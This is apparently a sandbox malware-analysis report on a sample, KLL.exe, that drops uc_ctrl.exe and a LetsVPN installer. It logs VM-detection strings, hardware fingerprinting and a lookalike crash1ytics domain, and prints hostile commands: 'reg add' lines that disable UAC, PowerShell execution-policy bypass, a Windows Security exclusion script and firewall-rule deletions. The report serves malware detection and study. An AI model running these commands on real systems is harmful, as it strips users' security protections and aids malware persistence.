            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BaseBoard
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BaseBoard
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select SerialNumber From Win32_BIOS
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BIOS
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BIOS
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BaseBoard
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BaseBoard
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystemProduct
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystemProduct
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorID From Win32_processor
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_Processor
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select Manufacturer From Win32_Processor
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorID From Win32_processor
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select Manufacturer From Win32_Processor
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_Processor
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeLast function: Thread delayed
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
            Source: C:\ProgramData\letsvpn-latest.exeFile Volume queried: C:\Program Files (x86) FullSizeInformation
            Source: C:\ProgramData\letsvpn-latest.exeFile Volume queried: C:\Program Files (x86) FullSizeInformation
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CEE6810 _Open_dir,FindFirstFileExW,_Read_dir,FindClose,17_2_6CEE6810
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF9E966 __EH_prolog3_GS,GetFullPathNameW,PathIsUNCW,GetVolumeInformationW,CharUpperW,FindFirstFileW,FindClose,_wcslen,17_2_6CF9E966
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_000000018000690C GetSystemInfo,GlobalMemoryStatusEx,0_2_000000018000690C
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 300000
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: LetsPRO.exe, 00000037.00000002.4190738127.0000000030555000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V tawevegostmsyxp Bus Pipes
            Source: LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Remove-NetEventVmNetworkAdapter
            Source: LetsPRO.exe, 00000045.00000002.2234646484.0000000001778000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\X
            Source: LetsPRO.exe, 00000045.00000002.2248552930.0000000005E80000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: fb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
            Source: LetsPRO.exe, 00000037.00000002.4205395651.00000000332FD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: X2Hyper-V VM Vid Partition
            Source: LetsPRO.exe, 00000037.00000002.4225466164.000000003834E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: THyper-V Hypervisor Root Virtual Processor-
            Source: LetsPRO.exe, 00000037.00000002.4205395651.00000000332FD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware, Inc.
            Source: svchost.exe, 00000027.00000003.1985736352.000002CAC391D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ,@vmnetextension
            Source: svchost.exe, 0000000C.00000002.3329386403.000001E0C322B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWp
            Source: LetsPRO.exe, 00000037.00000002.4205395651.0000000033254000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: sWDHyper-V Hypervisor Root Partition
            Source: LetsPRO.exe, 00000037.00000002.4207445064.0000000033476000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &Hyper-V Hypervisor
            Source: svchost.exe, 0000000C.00000002.3330450118.000001E0C885B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: LetsPRO.exe, 00000037.00000002.4205395651.00000000332FD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: stringComputer System ProductComputer System ProductPRZ88T71434D56-1548-ED3D-AEE6-C75AECD93BF0VMware, Inc.None
            Source: LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $^q)Hyper-V Hypervisor Root Virtual Processor
            Source: LetsPRO.exe, 00000037.00000002.4190738127.00000000304EE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V Dynamic Memory Integration Servicej
            Source: LetsPRO.exe, 00000045.00000002.2234646484.0000000001778000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}X
            Source: LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Get-NetEventVmNetworkAdapter
            Source: LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V VM Vid Partition
            Source: KLL.exe, 00000000.00000002.1774564082.0000017537CFA000.00000004.00000020.00020000.00000000.sdmp, uc_ctrl.exe, 00000011.00000002.4146931169.0000000000ACA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000038.00000002.4146838790.000002A965E76000.00000004.00000020.00020000.00000000.sdmp, ROUTE.EXE, 00000041.00000002.2160009408.0000000002FDC000.00000004.00000020.00020000.00000000.sdmp, ARP.EXE, 00000044.00000002.2163437854.000000000325B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: LetsPRO.exe, 00000037.00000002.4225466164.00000000383A9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VHyper-V Dynamic Memory Integration Service
            Source: LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $^q$Hyper-V Hypervisor Logical Processor
            Source: LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $^q*Hyper-V Dynamic Memory Integration Service
            Source: LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Add-NetEventVmNetworkAdapter
            Source: LetsPRO.exe, 00000037.00000002.4205395651.0000000033254000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: AlDHyper-V Virtual Machine Bus PipesZ
            Source: LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $^q!Hyper-V Hypervisor Root Partition
            Source: LetsPRO.exe, 00000037.00000002.4176252532.0000000005E8A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlls
            Source: LetsPRO.exe, 00000037.00000002.4229873614.000000003859B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: me Count Infinite3094Hyper-V Virtual Machine Bus Pipes3096Reads/sec3098Writes/sec3100Bytes Read/sec3102Bytes Written/sec9616SMB Direct Connection9618Stalls (Send Credit)/sec9620Stalls (Send Queue)/sec9622Stalls (RDMA Registrations)/sec9624Sends/sec9626Remote Invalidations/sec9628Memory Regions9630Bytes Received/sec9632Bytes Sent/sec9634Bytes RDMA Read/sec9636Bytes RDMA Written/sec9638Stalls (RDMA Read)/sec9640Receives/sec9642RDMA Registrations/sec9644SCQ Notification Events/sec9646RCQ Notification Events/sec9648Spurious RCQ Notification Events9650Spurious SCQ Notification Events9504Offline Files9506Bytes Received9508Bytes Transmitted9510Bytes Transmitted/sec9514Bytes Received/sec9518Client Side Caching9520SMB BranchCache Bytes Requested9522SMB BranchCache Bytes Received9524SMB BranchCache Bytes Published9526SMB BranchCache Bytes Requested From Server9528SMB BranchCache Hashes Requested9530SMB BranchCache Hashes Received9532SMB BranchCache Hash Bytes Received9534Prefetch Operations Queued9536Prefetch Bytes Read From Cache9538Prefetch Bytes Read From S
            Source: svchost.exe, 00000038.00000002.4146009862.000002A965E00000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
            Source: svchost.exe, 00000027.00000003.1986415396.000002CAC3917000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @ethernetwlanppipvmnetextension1E}
            Source: LetsPRO.exe, 00000037.00000002.4148107824.000000000143F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V tawevegostmsyxp BusEa
            Source: svchost.exe, 00000027.00000003.1986563849.000002CAC393A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @vmnetextension
            Source: LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Hypervisor
            Source: LetsPRO.exe, 00000049.00000002.2316502426.0000000000F4F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: _VMware_|
            Source: LetsPRO.exe, 00000037.00000002.4176252532.0000000005E6F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: JHyper-V Hypervisor Logical ProcessorG
            Source: LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $^q!Hyper-V Virtual Machine Bus Pipes
            Source: C:\Users\user\Desktop\KLL.exeAPI call chain: ExitProcess graph end nodegraph_0-16066
            Source: C:\Users\user\Desktop\KLL.exeAPI call chain: ExitProcess graph end nodegraph_0-16812
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF70090 NtAllocateVirtualMemory,NtAllocateVirtualMemory,LdrLoadDll,17_2_6CF70090
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_0000000180016B68 __crtCaptureCurrentContext,IsDebuggerPresent,__crtUnhandledException,0_2_0000000180016B68
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_0000000180020D94 EncodePointer,__crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,0_2_0000000180020D94
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_0000000180005710 LoadLibraryW,GetProcAddress,ShellExecuteW,LoadLibraryW,GetProcAddress,Sleep,SleepEx,DeleteFileW,CreateDirectoryW,Sleep,SleepEx,Sleep,SleepEx,ShellExecuteW,Sleep,SleepEx,Sleep,SleepEx,DeleteFileW,DeleteFileW,DeleteFileW,std::ios_base::_Ios_base_dtor,0_2_0000000180005710
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF70090 mov edx, dword ptr fs:[00000030h]17_2_6CF70090
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6D0D26D3 mov eax, dword ptr fs:[00000030h]17_2_6D0D26D3
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_000000018001A53C GetProcessHeap,0_2_000000018001A53C
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess token adjusted: Debug
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_000000018002A2E0 SetUnhandledExceptionFilter,0_2_000000018002A2E0
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_0000000180015C94 SetUnhandledExceptionFilter,UnhandledExceptionFilter,UnhandledExceptionFilter,0_2_0000000180015C94
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_00109003 SetUnhandledExceptionFilter,17_2_00109003
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_001089AE SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,17_2_001089AE
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_00108E6E IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,17_2_00108E6E
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF0AD0D IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,17_2_6CF0AD0D
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF0A241 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,17_2_6CF0A241
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF4F110 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,17_2_6CF4F110
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6D0C6D47 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,17_2_6D0C6D47
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6D0C2394 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,17_2_6D0C2394
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6D0C1EAE SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,17_2_6D0C1EAE
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMemory allocated: page read and write | page guard

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Bypasses PowerShell execution policy
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }"
            Source: C:\Users\user\Desktop\KLL.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /allJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess created: C:\Windows\System32\ipconfig.exe ipconfig /allJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\J95KX.bat" Jump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\s2XlA\7R1b9~m7\s+C:\ProgramData\s2XlA\7R1b9~m7\a C:\ProgramData\s2XlA\7R1b9~m7\uc_guilib.dllJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\ipconfig.exe ipconfig /allJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /FJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /FJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /FJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess created: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe "C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe" Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /allJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess created: C:\ProgramData\letsvpn-latest.exe "C:\ProgramData\letsvpn-latest.exe"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }"
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1"
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap0901
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets.exe
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets.exe
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO.exe
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO
            Source: C:\Program Files (x86)\letsvpn\LetsPRO.exeProcess created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe"
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C ipconfig /all
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C route print
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C arp -a
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ROUTE.EXE route print
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ARP.EXE arp -a
            Source: LetsPRO.exe, 00000037.00000002.4186386132.000000000F9C8000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: GetProgmanWindow
            Source: LetsPRO.exe, 00000037.00000002.4217491237.0000000037D82000.00000002.00000001.01000000.00000032.sdmpBinary or memory string: Shell_TrayWnd
            Source: LetsPRO.exe, 00000037.00000002.4186386132.000000000F9C8000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: nit.crash1ytics.com.outnit.crash1ytics.com.ionnit.crash1ytics.com.nit.crash1ytics.com.ynit.crash1ytics.com.IdTransfer-EncodingX-Content-Type-Optionsprivate, max-age=5Miss from cloudfrontnit.crash1ytics.com.Wnit.crash1ytics.com.nit.crash1ytics.com.Wnit.crash1ytics.com.nit.crash1ytics.com.UnhookWindowsHookUnhookWindowsHookExUnloadKeyboardLayoutUnregisterClassWUnregisterHotKeyUnregisterTouchWindowUpdateLayeredWindowUserHandleGrantAccessWINNLSGetEnableStatusWINNLSGetIMEHotkeyWaitForInputIdleCascadeChildWindowsDrawCaptionTempWGetAppCompatFlagsGetAppCompatFlags2GetCursorFrameInfoGetInternalWindowPosGetProgmanWindowGetTaskmanWindowMessageBoxTimeoutWPrivateExtractIconExWRegisterLogonProcessRegisterServicesProcessRegisterSystemThreadRegisterTasklistSetInternalWindowPosSetLogonNotifyWindowSetProgmanWindowSetShellWindowExSetSysColorsTempSetTaskmanWindowSetWindowStationUserTileChildWindowsUserRealizePaletteUserRegisterWowHandlersBeginPanningFeedbackEndPanningFeedbackUpdatePanningFeedbackBeginBufferedAnimationBeginBufferedPaintBufferedPaintClearBufferedPaintInitBufferedPaintSetAlphaBufferedPaintUnInitDrawThemeBackgroundDrawThemeBackgroundExEndBufferedAnimationEndBufferedPaintGetBufferedPaintBitsGetBufferedPaintDCGetCurrentThemeNameGetThemeAppPropertiesGetThemeEnumValueGetThemeFilenameGetThemePartSizeGetThemePositionGetThemePropertyOriginGetThemeSysColorGetThemeSysColorBrushGetThemeSysStringGetThemeTextExtentGetThemeTextMetricsHitTestThemeBackgroundIsThemePartDefinedSetThemeAppPropertiesGetFileVersionInfoSizeWGetFileVersionInfoWDrvGetModuleHandleGetDriverModuleHandleSendDriverMessagejoyReleaseCapturemciGetCreatorTaskmciGetErrorStringWmidiInGetDevCapsWmidiInGetErrorTextWmidiInGetNumDevsmidiInPrepareHeadermidiInUnprepareHeadermidiOutCacheDrumPatchesmidiOutCachePatchesmidiOutGetDevCapsWmidiOutGetErrorTextWmidiOutGetNumDevsmidiOutGetVolumemidiOutPrepareHeadermidiOutSetVolumemidiOutUnprepareHeadermidiStreamPositionmidiStreamPropertymidiStreamRestartmixerGetControlDetailsWmixerGetDevCapsWmixerGetLineControlsWmixerGetLineInfoWmixer